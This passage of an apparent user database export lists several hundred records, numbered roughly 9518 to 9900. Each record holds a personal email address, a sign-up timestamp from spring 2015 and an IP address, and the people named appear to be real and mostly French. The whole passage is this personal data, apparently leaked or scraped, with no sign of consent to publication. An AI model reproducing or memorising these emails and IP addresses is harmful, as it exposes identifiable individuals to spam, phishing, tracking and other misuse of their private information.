16:11:00;85.168.31.186 +9518;vaness.lily@hotmail.fr;2015-04-29 17:00:29;88.187.201.109 +9519;aure.albert@yahoo.fr;2015-04-29 17:05:44;46.218.234.67 +9520;garandeau.d@sfr.fr;2015-04-29 17:16:13;185.26.182.26 +9521;noaypedro@terra.com;2015-04-29 17:41:04;87.217.167.212 +9522;cindy.salgado1003@gmail.com;2015-04-29 17:45:08;78.214.110.209 +9523;caro@tioupy.com;2015-04-29 17:59:32;88.185.96.181 +9524;marie.mancel@outlook.fr;2015-04-29 18:54:21;77.149.38.182 +9525;valerie.bougniard@live.fr;2015-04-29 18:59:38;5.50.81.84 +9526;elooxdiee@live.fr;2015-04-29 20:01:12;92.155.232.194 +9527;blue.dragonne@hotmail.fr;2015-04-29 20:02:33;92.129.56.47 +9528;claudem84@orange.fr;2015-04-29 20:02:51;92.153.183.140 +9529;chantal.d@windowslive.com;2015-04-29 20:11:33;188.62.146.149 +9530;marie-chantal.ramelet@laposte.net;2015-04-29 21:12:07;92.92.110.18 +9531;c.faye@wanadoo.fr;2015-04-29 22:33:13;92.134.61.100 +9532;sigrid.quantin@laposte.net;2015-04-29 22:49:57;88.186.64.58 +9533;patricia.mallet@neuf.fr;2015-04-29 23:11:33;79.82.171.20 +9534;danielle.clemenceau@sfr.fr;2015-04-30 08:25:28;93.23.193.204 +9535;cecilelombart@yahoo.fr;2015-04-30 09:21:28;109.2.238.10 +9536;emmajolie92@gmail.com;2015-04-30 10:29:55;91.208.209.10 +9537;garciasonia5566@neuf.fr;2015-04-30 10:42:40;77.129.138.87 +9538;edhelonia@hotmail.com;2015-04-30 11:15:54;193.190.193.1 +9539;delphine.parmentier@gmail.com;2015-04-30 11:19:26;109.88.0.164 +9540;quitou_pana@hotmail.com;2015-04-30 11:37:15;83.193.158.130 +9541;esther.schiffer@gmail.com;2015-04-30 12:23:49;193.190.193.2 +9542;naya.lesfons@orange.fr;2015-04-30 13:19:21;90.57.41.100 +9543;stephanie.vergerio@univ-lorraine.fr;2015-04-30 13:29:48;194.57.142.206 +9544;sophie-barriere@hotmail.fr;2015-04-30 13:43:15;93.17.68.187 +9545;chrisruiz54@yahoo.fr;2015-04-30 13:44:34;193.55.243.195 +9546;malletagnes187@gmail.com;2015-04-30 14:02:49;93.7.210.113 +9547;exposito.christelle@gmail.com;2015-04-30 14:36:23;80.13.64.177 +9548;cfgr@noos.fr;2015-04-30 14:40:33;80.12.89.110 +9549;serinajoy@hotmail.fr;2015-04-30 15:37:45;78.243.152.60 +9550;pommaite@gmail.com;2015-04-30 15:40:35;87.100.124.17 +9551;ashley.molle@laposte.net;2015-04-30 15:41:20;80.11.111.196 +9552;famille.schmuck@yahoo.fr;2015-04-30 16:10:15;178.26.139.89 +9553;aureline-leloup@live.fr;2015-04-30 16:16:38;73.29.146.67 +9554;meemee_966@hotmail.fr;2015-04-30 16:43:23;2.10.118.192 +9555;mylene.david@free.fr;2015-04-30 17:36:41;89.170.0.33 +9556;s.goutoule1@numericable.com;2015-04-30 19:05:47;81.220.183.188 +9557;emiliesouris25@hotmail.fr;2015-04-30 19:49:07;84.101.154.41 +9558;koregane@orange.fr;2015-04-30 20:07:28;86.218.195.197 +9559;bamboo-45@hotmail.fr;2015-04-30 20:20:18;88.122.78.17 +9560;gicebet@aol.com;2015-04-30 20:46:52;176.147.49.42 +9561;florence_monard@hotmail.com;2015-04-30 20:58:55;89.158.116.28 +9562;carbonelmarilyne@gmail.com;2015-04-30 21:20:34;109.23.11.63 +9563;bernasar77@hotmail.fr;2015-04-30 22:06:31;88.176.216.159 +9564;dalle.catherine48@orange.fr;2015-04-30 22:40:58;86.202.125.129 +9565;fpotiron@wanadoo.fr;2015-05-01 08:02:01;90.12.102.204 +9566;sylvie-l.lenglet@wanadoo.fr;2015-05-01 08:42:03;86.235.26.162 +9567;mariejo.giner@aliceadsl.fr;2015-05-01 08:53:15;78.220.209.73 +9568;magamoin@orange.fr;2015-05-01 09:01:42;80.8.67.240 +9569;muriel.bohnert@gmail.com;2015-05-01 10:16:54;78.207.159.134 +9570;fournieragnes@wanadoo.fr;2015-05-01 10:57:21;90.15.127.99 +9571;tissotevelyne21110@gmail.com;2015-05-01 11:29:22;78.215.192.125 +9572;boyer-roland@wanadoo.fr;2015-05-01 11:36:44;86.202.90.192 +9573;zohra.touil@laposte.net;2015-05-01 11:41:39;88.183.165.83 +9574;agnesseemann@sfr.fr;2015-05-01 12:00:36;82.238.196.250 +9575;christine.chavant@orange.fr;2015-05-01 12:08:57;88.188.41.219 +9576;rolandesaudoyez@hotmail.com;2015-05-01 13:49:07;91.176.30.94 +9577;marjorie.piquette@gmail.com;2015-05-01 14:41:39;84.100.227.168 +9578;nboulain@bbox.fr;2015-05-01 15:51:51;87.90.82.29 +9579;dburille@hotmail.com;2015-05-01 16:03:26;78.201.94.14 +9580;yolande.voi@gmail.com;2015-05-01 17:04:17;90.38.60.183 +9581;alexandra@ozcom.fr;2015-05-01 17:19:41;176.190.106.43 +9582;edubois3@bbox.fr;2015-05-01 17:38:33;89.86.206.236 +9583;cmestrallet@free.fr;2015-05-01 18:04:05;88.123.36.52 +9584;cbduchamp@gmail.com;2015-05-01 18:31:37;78.218.24.28 +9585;charlotteleduc88@aol.fr;2015-05-01 18:51:34;2.8.228.216 +9586;janisenbelgica@yahoo.es;2015-05-01 19:00:04;178.51.235.179 +9587;marysebidault@wanadoo.fr;2015-05-01 19:22:39;90.1.49.31 +9588;anne.givel@cegetel.net;2015-05-01 19:24:30;213.203.108.252 +9589;f.limosin@cegetel.net;2015-05-01 19:38:46;79.85.231.100 +9590;florysemenu@orange.fr;2015-05-01 20:36:39;90.26.0.203 +9591;sylvia.rivero@laposte.net;2015-05-01 20:57:33;31.37.204.187 +9592;pat.frottier@gmail.com;2015-05-01 22:12:49;88.182.65.114 +9593;k.arthur4@voila.fr;2015-05-01 23:42:37;77.145.195.99 +9594;garnierj@hotmail.fr;2015-05-01 23:49:16;109.218.129.102 +9595;jadot.chloe@hotmail.fr;2015-05-02 00:48:30;86.68.71.26 +9596;bernatmona@yahoo.fr;2015-05-02 01:22:03;90.14.9.142 +9597;aamillet29@gmail.com;2015-05-02 10:26:54;2.2.38.206 +9598;Samialou@live.fr;2015-05-02 11:16:35;213.245.161.255 +9599;yvonne.castric@bbox.fr;2015-05-02 11:30:39;176.149.167.224 +9600;flo.bouchier@gmail.com;2015-05-02 12:55:12;87.88.213.191 +9601;neybeckercamille@gmail.com;2015-05-02 14:21:53;109.10.13.18 +9602;sipado@orange.fr;2015-05-02 14:51:26;2.2.143.47 +9603;mariecri-cri@hotmail.fr;2015-05-02 15:32:48;2.11.225.233 +9604;nadou252010@hotmail.fr;2015-05-02 15:51:31;83.196.247.140 +9605;sandracanivenq@yahoo.fr;2015-05-02 15:52:55;79.86.10.219 +9606;aurelie.kiefer@yahoo.fr;2015-05-02 16:10:13;90.25.98.215 +9607;marie.hammouche@free.fr;2015-05-02 16:25:53;78.234.118.80 +9608;winter.claude@orange.fr;2015-05-02 16:41:28;109.221.59.138 +9609;cmelly5@hotmail.com;2015-05-02 17:19:32;78.155.9.146 +9610;maureen_fr57@hotmail.fr;2015-05-02 18:16:55;83.196.207.13 +9611;jimetlili@neuf.fr;2015-05-02 20:46:53;77.129.132.68 +9612;isabelle.payet9@orange.fr;2015-05-02 20:55:39;92.130.51.22 +9613;gaelle.bertheleme@orange.fr;2015-05-02 21:02:33;92.146.148.187 +9614;snake.kane@club-internet.fr;2015-05-02 23:12:30;80.236.125.151 +9615;anyssamaryam@hotmail.fr;2015-05-03 00:12:10;88.173.43.79 +9616;maal.gaspoz@bluewin.ch;2015-05-03 06:58:17;92.104.106.67 +9617;geera.sood@yahoo.co.uk;2015-05-03 09:18:16;90.203.214.185 +9618;mf.sauvagere@gmail.com;2015-05-03 09:59:14;90.56.177.5 +9619;c.dolder1961@gmail.com;2015-05-03 10:09:46;92.130.118.75 +9620;dominiquedelzoide@orange.fr;2015-05-03 10:43:16;90.42.197.145 +9621;michele.champetier@free.fr;2015-05-03 10:50:19;78.197.92.39 +9622;mariepierreleroch@orange.fr;2015-05-03 11:33:54;86.214.199.243 +9623;fivet.camille@hotmail.fr;2015-05-03 11:48:20;86.201.112.195 +9624;vdehaynin@yahoo.fr;2015-05-03 12:18:59;78.245.137.131 +9625;tiphanie.caloch@laposte.net;2015-05-03 12:29:34;90.11.11.52 +9626;lamayo54@yahoo.fr;2015-05-03 12:36:23;83.196.53.107 +9627;plume778@hotmail.fr;2015-05-03 12:38:50;83.114.164.29 +9628;alinamortiu@hotmail.com;2015-05-03 13:07:09;80.118.77.150 +9629;adam.ben-abdellah@orange.fr;2015-05-03 13:13:17;86.201.63.47 +9630;nicolemunier@laposte.net;2015-05-03 13:53:39;88.186.218.46 +9631;sophiedominique4@free.fr;2015-05-03 14:55:02;88.160.55.209 +9632;malina48@hotmail.fr;2015-05-03 15:37:52;82.65.170.101 +9633;veromichaud83@free.fr;2015-05-03 15:46:37;82.249.67.164 +9634;and-vanda@yandex.ru;2015-05-03 15:58:47;83.113.65.35 +9635;mrfc@orange.fr;2015-05-03 16:05:47;109.219.25.68 +9636;christine.ldx@laposte.net;2015-05-03 16:38:14;93.182.194.227 +9637;e59916@gmail.com;2015-05-03 17:51:48;92.157.245.180 +9638;massenath@gmail.com;2015-05-03 17:54:57;83.154.240.66 +9639;myriam.lhoumeau@orange.com;2015-05-03 17:57:48;193.252.157.49 +9640;nadege56@bbox.fr;2015-05-03 18:25:57;89.86.84.146 +9641;hhisaflo@hotmail.fr;2015-05-03 18:50:58;90.59.45.204 +9642;annabelle.planquais@laposte.net;2015-05-03 18:52:16;90.16.1.194 +9643;k_christine@hotmail.fr;2015-05-03 19:04:29;92.90.16.72 +9644;laytonswinner@gmail.com;2015-05-03 19:32:55;88.121.181.84 +9645;claudio.messina@wanadoo.fr;2015-05-03 19:49:51;90.39.163.139 +9646;etangdelalande@gmail.com;2015-05-03 20:07:09;89.94.17.46 +9647;marjorieb21@yahoo.fr;2015-05-03 20:21:27;79.81.32.9 +9648;Andre.assmus@wanadoo.fr;2015-05-03 20:57:07;109.221.89.252 +9649;pferrandgranger@orange.fr;2015-05-03 21:32:27;86.217.150.240 +9650;mamartinedoux@yahoo.fr;2015-05-03 21:40:53;109.31.158.108 +9651;magalieduchez@hotmail.com;2015-05-03 22:31:34;90.4.175.220 +9652;heldubois@hotmail.com;2015-05-03 22:43:40;81.48.122.158 +9653;fashionelle971@gmail.com;2015-05-04 05:58:56;86.75.7.96 +9654;laetitia.courbis@gmail.com;2015-05-04 08:41:46;92.157.246.169 +9655;irocca@laposte.net;2015-05-04 09:23:18;212.234.152.24 +9656;valerielocht@hotmail.be;2015-05-04 09:29:37;80.201.161.161 +9657;francoise.baude@bbox.fr;2015-05-04 09:33:28;176.183.82.247 +9658;bblazyk@free.fr;2015-05-04 09:37:56;84.7.17.41 +9659;fabrelaurent@wanadoo.fr;2015-05-04 09:47:50;92.133.6.16 +9660;labulledebea@laposte.net;2015-05-04 09:57:47;89.88.60.87 +9661;chcastelli@gmail.com;2015-05-04 10:02:33;46.218.50.199 +9662;martine.seconde@laposte.net;2015-05-04 10:50:50;84.6.216.167 +9663;anais.lom@voila.fr;2015-05-04 11:24:08;78.115.105.194 +9664;monique.arnaud17@sfr.fr;2015-05-04 11:53:36;92.93.122.183 +9665;lauretup@free.fr;2015-05-04 11:56:23;90.22.179.200 +9666;halfon.anna@gmail.com;2015-05-04 12:24:56;86.212.207.60 +9667;franchet.gerald@neuf.fr;2015-05-04 12:48:57;93.12.72.157 +9668;lucievarlet@gmail.com;2015-05-04 13:25:32;81.252.243.157 +9669;baloche.thierry@neuf.fr;2015-05-04 13:25:49;213.41.166.76 +9670;nano250905@hotmail.fr;2015-05-04 13:46:26;195.7.103.54 +9671;anne.sylvie.maillard@wanadoo.fr;2015-05-04 14:21:21;83.196.232.135 +9672;boue.angelique@orange.fr;2015-05-04 15:15:54;92.152.77.134 +9673;girou_magali@hotmail.com;2015-05-04 15:44:10;193.253.170.102 +9674;nathalie62510@hotmail.fr;2015-05-04 15:49:37;5.50.60.174 +9675;garaud.christelle@bbox.fr;2015-05-04 17:13:37;31.33.132.242 +9676;cecilejuan31@gmail.com;2015-05-04 18:10:11;84.99.11.46 +9677;isabelle.cardoen@orange.fr;2015-05-04 18:38:34;89.227.52.113 +9678;carolerospars@gmail.com;2015-05-04 20:12:09;88.169.93.84 +9679;vanessa.moreau40@orange.fr;2015-05-04 20:40:30;82.125.62.29 +9680;christinegiaconia@hotmail.fr;2015-05-04 21:15:41;90.57.48.143 +9681;fabiennebaudoin@hotmail.com;2015-05-04 21:17:04;81.57.142.52 +9682;juju.marzais@free.fr;2015-05-04 21:26:20;82.226.65.140 +9683;annecatherine.piro@orange.fr;2015-05-04 21:47:47;83.196.191.110 +9684;nicolas.aros@live.com;2015-05-04 22:30:36;190.153.200.237 +9685;jolanierg@live.fr;2015-05-04 22:49:37;5.48.142.109 +9686;nicole.noel@gmx.fr;2015-05-04 23:02:44;82.242.114.194 +9687;nathalie.jourdren0520@orange.fr;2015-05-04 23:35:03;86.205.131.103 +9688;colineregnauld@hotmail.fr;2015-05-05 00:10:16;176.149.19.136 +9689;vanesshm@live.fr;2015-05-05 03:20:02;78.227.214.102 +9690;evelyne.duf@hotmail.fr;2015-05-05 07:42:02;77.128.182.174 +9691;cat.verplaetse@orange.fr;2015-05-05 07:58:01;92.157.67.64 +9692;fbarret@sfr.fr;2015-05-05 08:15:45;77.134.46.132 +9693;mdgazoni@gmail.com;2015-05-05 08:18:44;194.51.191.170 +9694;rabier-pascale@bbox.fr;2015-05-05 09:53:59;89.94.5.229 +9695;gcornuthenard@gmail.com;2015-05-05 09:57:27;217.15.93.206 +9696;patriciafoillard@gmail.com;2015-05-05 10:17:23;85.169.109.62 +9697;giamberini.madeleine@gmail.com;2015-05-05 10:23:51;88.178.6.192 +9698;pharmacie.du.pave@orange.fr;2015-05-05 10:32:00;86.196.108.177 +9699;marielle.monaton@free.fr;2015-05-05 10:33:21;88.179.84.36 +9700;missaoui.noria@hotmail.fr;2015-05-05 11:44:22;109.26.188.195 +9701;yvesnaniot@hotmail.com;2015-05-05 12:09:04;91.176.27.68 +9702;lang474@hotmail.fr;2015-05-05 13:01:30;85.69.166.176 +9703;patrick.dietrich3@wanadoo.fr;2015-05-05 13:04:48;86.235.227.124 +9704;sderville@hotmail.fr;2015-05-05 13:10:58;80.94.182.136 +9705;ln.couthouis@laposte.net;2015-05-05 13:59:44;2.9.57.40 +9706;jmamarcoux@free.fr;2015-05-05 14:19:04;109.237.245.91 +9707;debeauxsouvenrs@aliceadsl.fr;2015-05-05 14:25:19;82.252.224.64 +9708;debeauxsouvenirs@aliceadsl.fr;2015-05-05 14:28:36;82.252.224.64 +9709;valerie.bremond1968@gmail.com;2015-05-05 14:53:21;82.125.244.115 +9710;nadia.rousset@laposte.net;2015-05-05 14:57:18;84.5.129.86 +9711;corinne.durandfillonneau@hotmail.fr;2015-05-05 15:29:00;90.60.9.69 +9712;delaplanete@hotmail.fr;2015-05-05 15:38:27;82.229.6.175 +9713;a.s.p@aliceadsl.fr;2015-05-05 16:24:12;109.190.226.130 +9714;pickandtee@hotmail.fr;2015-05-05 16:36:16;84.102.160.89 +9715;CECILE.NEWJERSEY@ORANGE.FR;2015-05-05 16:40:08;90.34.234.244 +9716;CE.SOTO@laposte.net;2015-05-05 16:48:27;193.251.31.233 +9717;dorepa_54@orange.fr;2015-05-05 17:13:41;83.194.148.198 +9718;nesli2701@yahoo.fr;2015-05-05 17:14:59;78.195.200.60 +9719;ireneviella@orange.fr;2015-05-05 17:42:26;92.146.250.44 +9720;patricia.labeye@sfr.fr;2015-05-05 17:56:15;90.43.237.86 +9721;sandra.queraux@gmail.com;2015-05-05 18:09:16;78.220.89.4 +9722;melissa.javelle@laposte.net;2015-05-05 18:12:01;86.69.79.69 +9723;pascaleruellan1@gmail.com;2015-05-05 18:53:53;78.193.252.110 +9724;caloune69@orange.fr;2015-05-05 19:45:56;109.212.133.39 +9725;garda-angelique@orange.fr;2015-05-05 20:33:04;92.157.179.208 +9726;drine@skynet.be;2015-05-05 20:33:05;87.66.209.44 +9727;gradovova@gmail.com;2015-05-05 21:38:20;77.134.206.155 +9728;isa.le-roux@laposte.net;2015-05-05 21:40:31;77.84.139.107 +9729;celine.gaillat@sfr.fr;2015-05-05 21:41:42;93.28.163.51 +9730;lili.coulon@outlook.fr;2015-05-05 21:46:15;90.11.211.117 +9731;flammantlaetitia@aol.com;2015-05-05 21:50:05;78.235.246.152 +9732;canicionathalie@yahoo.com;2015-05-05 21:54:25;89.227.72.156 +9733;alyce.schnitzler@hotmail.fr;2015-05-05 22:26:30;2.114.65.225 +9734;rosalinedossantos@hotmail.fr;2015-05-05 22:31:25;80.15.11.78 +9735;cbabeth@hotmail.fr;2015-05-05 23:59:45;2.9.233.243 +9736;alexandranunes@ua.pt;2015-05-06 00:08:32;95.95.254.220 +9737;moira.dillon@me.com;2015-05-06 04:15:51;50.133.222.181 +9738;permaledaniele@yahoo.fr;2015-05-06 06:42:08;90.10.128.242 +9739;patetmich13@gmail.com;2015-05-06 07:50:58;80.201.63.85 +9740;catherine.marie76@outlook.fr;2015-05-06 08:02:17;82.242.136.243 +9741;philippon.beatrice@orange.fr;2015-05-06 08:46:21;90.33.213.60 +9742;lily.gege@wandoo.fr;2015-05-06 09:12:13;85.56.144.83 +9743;eliane.vandaele@orange.fr;2015-05-06 09:21:43;83.192.68.167 +9744;sandra.soulie@free.fr;2015-05-06 09:53:21;78.243.242.139 +9745;ehawee-nuttah@outlook.fr;2015-05-06 10:37:08;88.180.186.180 +9746;joceline.brege@sfr.fr;2015-05-06 10:46:09;92.88.127.59 +9747;nathalie.holecek@sfr.fr;2015-05-06 11:20:06;129.104.29.2 +9748;gsy59@hotmail.fr;2015-05-06 11:26:15;81.66.24.126 +9749;romaine.lerma@gmail.com;2015-05-06 11:28:36;78.210.150.2 +9750;rachel.norbonne@sfr.fr;2015-05-06 11:33:38;78.116.122.51 +9751;gali22@hotmail.fr;2015-05-06 11:36:59;37.161.127.201 +9752;naima.missaoui@orange.fr;2015-05-06 12:14:24;83.206.196.72 +9753;nthystere@maire-nancy.fr;2015-05-06 14:56:07;62.244.71.130 +9754;maria.gende@bluewin.ch;2015-05-06 15:06:40;46.14.36.25 +9755;eddy0108@live.fr;2015-05-06 15:18:23;176.180.173.3 +9756;anaisphippen.ap@gmail.com;2015-05-06 15:48:23;176.179.137.103 +9757;langloisludwig@yahoo.fr;2015-05-06 15:53:39;78.126.129.144 +9758;joseph.bratko@sfr.fr;2015-05-06 16:23:40;79.87.51.97 +9759;martine.mikhael7@live.com;2015-05-06 16:40:11;109.26.15.124 +9760;ange.oudemon64@orange.fr;2015-05-06 17:03:00;90.11.178.11 +9761;cauetjc@gmail.com;2015-05-06 17:23:39;86.217.176.90 +9762;owen.genevieve@gmail.com;2015-05-06 17:39:56;77.130.242.228 +9763;wimaroga@hotmail.fr;2015-05-06 18:19:34;90.29.16.106 +9764;dcl@club-internet.fr;2015-05-06 18:33:06;83.156.224.109 +9765;yuna.raoul@bbox.fr;2015-05-06 18:34:20;87.91.24.46 +9766;frederique.dujardin2@numericable.fr;2015-05-06 18:36:31;194.8.148.5 +9767;bodellepeg@yahoo.fr;2015-05-06 18:39:30;90.7.216.66 +9768;fbassin@voila.fr;2015-05-06 18:50:22;84.4.22.30 +9769;maitena.ilharreguy@sunrise.ch;2015-05-06 18:56:24;89.217.193.177 +9770;corte2bcorse@gmail.com;2015-05-06 19:09:06;90.21.102.91 +9771;romma36@yaho.com;2015-05-06 19:42:38;79.53.173.43 +9772;ginettbouchet@sfr.fr;2015-05-06 20:05:04;109.9.255.209 +9773;melanie.duraz@free.fr;2015-05-06 20:22:27;83.153.166.192 +9774;nadijos@orange.fr;2015-05-06 20:36:04;86.206.66.200 +9775;sandrine-theolou@sfr.fr;2015-05-06 20:47:37;77.128.156.185 +9776;sophie.gottieb@aliceadsl.fr;2015-05-06 21:08:00;91.217.94.13 +9777;marielocco@hotmail.fr;2015-05-06 21:50:02;88.167.72.224 +9778;annie.bachelet@aol.com;2015-05-06 22:02:38;82.237.38.163 +9779;rochafigueiredo@iol.pt;2015-05-06 22:45:07;84.90.167.129 +9780;hpage23@hotmail.com;2015-05-07 03:28:24;109.101.102.107 +9781;roche.kristine@gmail.com;2015-05-07 05:01:17;83.201.123.123 +9782;domergue.c@wanadoo.fr;2015-05-07 07:25:33;90.29.161.233 +9783;ing.martin@laposte.net;2015-05-07 07:33:19;193.51.226.79 +9784;cathypariot@hotmail.fr;2015-05-07 08:04:40;81.185.149.5 +9785;yasnis11@live.fr;2015-05-07 09:16:17;78.227.61.52 +9786;marjorie_bernier@hotmail.fr;2015-05-07 10:35:32;81.57.119.171 +9787;francine.cens@gmail.com;2015-05-07 10:36:03;81.49.122.11 +9788;swallart@gmail.com;2015-05-07 11:15:55;81.250.16.95 +9789;christine.colet@orange.fr;2015-05-07 11:27:32;90.58.29.244 +9790;lani-co@bbox.fr;2015-05-07 12:10:47;31.39.187.203 +9791;frederique.gerin@club-internet.fr;2015-05-07 12:15:11;194.98.34.59 +9792;alinelavancier@gmail.com;2015-05-07 12:21:18;82.252.204.165 +9793;magali.11@laposte.net;2015-05-07 12:24:51;90.28.196.125 +9794;louisiane-besnault@outlook.fr;2015-05-07 13:20:24;81.56.238.182 +9795;martine.faure@laposte.net;2015-05-07 14:25:36;85.68.198.112 +9796;f.lalo@sfr.fr;2015-05-07 14:43:19;37.58.165.251 +9797;harmegniescecile@hotmail.com;2015-05-07 14:58:21;79.80.76.106 +9798;murielbarthe@hotmail.com;2015-05-07 15:25:00;91.177.150.242 +9799;anniemartinet@wanadoo.fr;2015-05-07 15:40:01;86.235.144.219 +9800;lcointrelle936@gmail.com;2015-05-07 15:48:53;86.65.13.82 +9801;virginie.floquet02@laposte.net;2015-05-07 16:44:03;82.233.57.92 +9802;beaugetjeanpierre@yahoo.fr;2015-05-07 16:51:02;31.38.2.208 +9803;baptista-olga@hotmail.com;2015-05-07 17:50:05;213.135.239.240 +9804;isabellezegut@yahoo.fr;2015-05-07 18:15:16;90.57.240.186 +9805;lululorne@hotmail.com;2015-05-07 18:21:06;82.241.177.207 +9806;sbecle@gmail.com;2015-05-07 18:35:41;77.150.195.37 +9807;bischopp.christian@neuf.fr;2015-05-07 18:38:04;84.7.26.133 +9808;cathy.tachet@laposre.net;2015-05-07 18:49:39;90.5.139.189 +9809;jose.benito@dbmail.com;2015-05-07 18:54:20;78.236.0.4 +9810;cat.lefebvre@hotmail.fr;2015-05-07 19:06:46;109.25.175.149 +9811;isabelle.herve26@hotmail.fr;2015-05-07 21:09:04;196.47.139.227 +9812;isabelle.herve26@orange.fr;2015-05-07 21:09:13;196.47.139.227 +9813;anne.muffang@gmail.com;2015-05-07 21:35:00;86.67.118.138 +9814;carmenbuhl68@hotmail.fr;2015-05-07 21:42:29;62.241.81.159 +9815;chris.clare@cegetel.net;2015-05-07 23:07:30;86.72.121.10 +9816;bea.kindoff@gmail.com;2015-05-07 23:31:09;90.0.29.144 +9817;chboutley@orange.fr;2015-05-07 23:33:28;90.40.39.223 +9818;helene.joudoux@orange.fr;2015-05-07 23:33:49;109.213.17.130 +9819;barbierbarbiercyrille@outlook.fr;2015-05-08 01:38:40;88.173.0.69 +9820;gosselinnathalie@hotmail.fr;2015-05-08 02:01:55;82.228.54.216 +9821;yangqtaotao@Hotmail.com;2015-05-08 02:16:44;111.161.127.254 +9822;luciennelapertot@yaoo.fr;2015-05-08 07:22:36;62.35.215.150 +9823;martinebachelet12@gmail.com;2015-05-08 08:41:35;77.199.133.143 +9824;josnin.eric@neuf.fr;2015-05-08 09:40:05;78.120.42.10 +9825;dufresnede@orange.fr;2015-05-08 10:17:38;92.152.222.254 +9826;catherine.boisson@bbox.fr;2015-05-08 10:30:26;176.189.183.3 +9827;jannick.segret@gmail.com;2015-05-08 11:09:28;90.9.11.30 +9828;christine.eymond@gmail.com;2015-05-08 11:10:36;109.190.74.228 +9829;yuvao3645@hotmail.com;2015-05-08 11:19:26;85.168.92.25 +9830;daniel.dantz@wanadoo.fr;2015-05-08 11:32:08;83.201.32.140 +9831;jacqueline.kientz@laposte.net;2015-05-08 12:33:13;91.91.55.188 +9832;maud06000@msn.com;2015-05-08 14:09:27;212.194.109.206 +9833;florentin.nicole@laposte.net;2015-05-08 15:16:15;90.40.150.89 +9834;christelle.bajoreck@orange.fr;2015-05-08 15:20:53;80.9.199.236 +9835;tomanuca@aol.com;2015-05-08 15:39:07;88.168.162.108 +9836;val_sagne@yahoo.fr;2015-05-08 17:13:55;109.220.201.204 +9837;annabelle.c819@orange.fr;2015-05-08 19:13:02;83.114.35.83 +9838;anne-marie.t@hotmail.fr;2015-05-08 19:36:54;79.88.52.184 +9839;robert.helene66@yahoo.fr;2015-05-08 20:01:24;78.221.208.127 +9840;karima.elvis@hotmail.fr;2015-05-08 20:30:52;93.1.135.155 +9841;martinkautzmann@hotmail.fr;2015-05-08 20:34:39;83.141.208.117 +9842;p.geraldine@sfr.fr;2015-05-08 23:02:26;85.68.150.209 +9843;r.lauret63@orange.fr;2015-05-08 23:14:19;109.13.72.108 +9844;bertapocas@hotmail.com;2015-05-09 04:33:13;87.196.131.139 +9845;sylvie.prunier@gmail.com;2015-05-09 08:15:14;78.120.112.223 +9846;champrouxsandrine@gmail.com;2015-05-09 08:19:43;80.215.178.211 +9847;coelho13190@hotmail.com;2015-05-09 08:45:05;82.240.93.203 +9848;michrollion@yahoo.fr;2015-05-09 09:05:30;93.8.168.238 +9849;lydieponthiaux@neuf.fr;2015-05-09 13:19:29;82.247.26.203 +9850;paula.lulu@sfr.fr;2015-05-09 14:32:26;92.93.212.247 +9851;brigitte@malot.net;2015-05-09 15:50:57;88.172.44.44 +9852;danouazene@laposte.net;2015-05-09 15:51:38;82.216.177.146 +9853;a.conan2702@gmail.com;2015-05-09 16:12:45;89.91.17.212 +9854;ursula.wermeille@hotmail.ch;2015-05-09 16:15:43;178.199.36.76 +9855;v.dp@hotmail.fr;2015-05-09 16:22:27;109.209.236.164 +9856;pommepomme07@yahoo.fr;2015-05-09 16:38:58;80.9.176.242 +9857;mcs.leon@yahoo.es;2015-05-09 16:54:03;88.14.233.194 +9858;christelle.fassier@laposte.net;2015-05-09 17:25:47;89.91.218.36 +9859;bebymokrani@hotmail.fr;2015-05-09 18:04:19;89.88.83.29 +9860;sandrine1067@yahoo.fr;2015-05-09 18:34:48;2.3.233.174 +9861;daniela.macrel@orange.fr;2015-05-09 18:42:59;83.198.47.31 +9862;christine.agostini@hotmail.fr;2015-05-09 19:15:54;93.15.108.102 +9863;jacquelinebelin@sfr.fr;2015-05-09 19:16:37;79.87.251.211 +9864;florence.beauvois@sfr.fr;2015-05-09 20:44:49;31.38.89.33 +9865;leduc.marie-helene@neuf.fr;2015-05-09 20:57:29;86.211.21.31 +9866;korinne_r@hotmail.com;2015-05-09 21:15:51;82.231.179.82 +9867;jocelyne.rambat@sfr.fr;2015-05-09 21:18:50;88.136.229.40 +9868;loetval@gmail.com;2015-05-09 21:41:37;109.21.94.226 +9869;marianneo@live.fr;2015-05-09 21:49:45;88.174.25.210 +9870;josiane.mariani@wanadoo.fr;2015-05-09 22:16:29;90.8.15.122 +9871;emilierobert08@yahoo.fr;2015-05-09 22:44:50;154.67.21.141 +9872;Isabellelg@hotmail.fr;2015-05-10 00:01:26;80.215.164.227 +9873;roluska@live.fr;2015-05-10 06:30:18;86.74.54.99 +9874;danieledole@hotmail.fr;2015-05-10 07:25:23;81.220.191.31 +9875;sylvie.guermeur@wanadoo.fr;2015-05-10 07:48:47;86.215.127.172 +9876;danybeaufort@orange.fr;2015-05-10 09:36:20;83.197.1.43 +9877;fgm.marty@gmail.com;2015-05-10 09:48:32;176.144.58.4 +9878;jacques.lebailleux@sfr.fr;2015-05-10 10:01:28;93.5.27.220 +9879;mumudijon@hotmail.com;2015-05-10 10:17:58;82.224.19.130 +9880;melanie.berger68@gmail.com;2015-05-10 10:30:30;90.39.34.117 +9881;christelle.chas@orange.fr;2015-05-10 11:23:16;80.12.100.81 +9882;valeric.gim@hotmail.fr;2015-05-10 11:47:16;202.171.78.18 +9883;pbacon11@yahoo.fr;2015-05-10 11:58:48;88.170.62.57 +9884;caldironi.marie-claire@neuf.fr;2015-05-10 12:04:41;86.67.146.31 +9885;sebastien.guyot21@sfr.fr;2015-05-10 12:27:15;77.132.74.244 +9886;serge.meneur@gmail.com;2015-05-10 12:57:40;92.245.134.16 +9887;ste89@hotmail.fr;2015-05-10 13:12:05;88.137.194.237 +9888;fabienneco@gmail.com;2015-05-10 13:52:57;176.181.2.166 +9889;serranomonique@gmail.com;2015-05-10 14:12:17;185.26.182.31 +9890;cuesta.audrey@voila.fr;2015-05-10 14:24:11;176.184.26.128 +9891;marc.roibet@wanadoo.fr;2015-05-10 14:25:13;90.59.67.233 +9892;lorenehardouin@yahoo.fr;2015-05-10 14:40:33;92.158.237.194 +9893;nirgivie@live.fr;2015-05-10 14:45:20;92.150.186.91 +9894;brunjacky@wanadoo.fr;2015-05-10 14:55:09;92.144.78.168 +9895;charline.person@gmail.com;2015-05-10 15:25:07;78.218.42.48 +9896;colette.barthalot@laposte.net;2015-05-10 15:36:29;109.23.139.77 +9897;francis.lavoix@orange.fr;2015-05-10 15:39:58;86.206.112.247 +9898;guypujalte@gmail.com;2015-05-10 15:41:37;176.190.74.53 +9899;julie1980s@free.fr;2015-05-10 15:42:00;2.10.33.197 +9900;ecalardsarah@gmail.com;2015-05-10 15:53:36;92.90.250.21 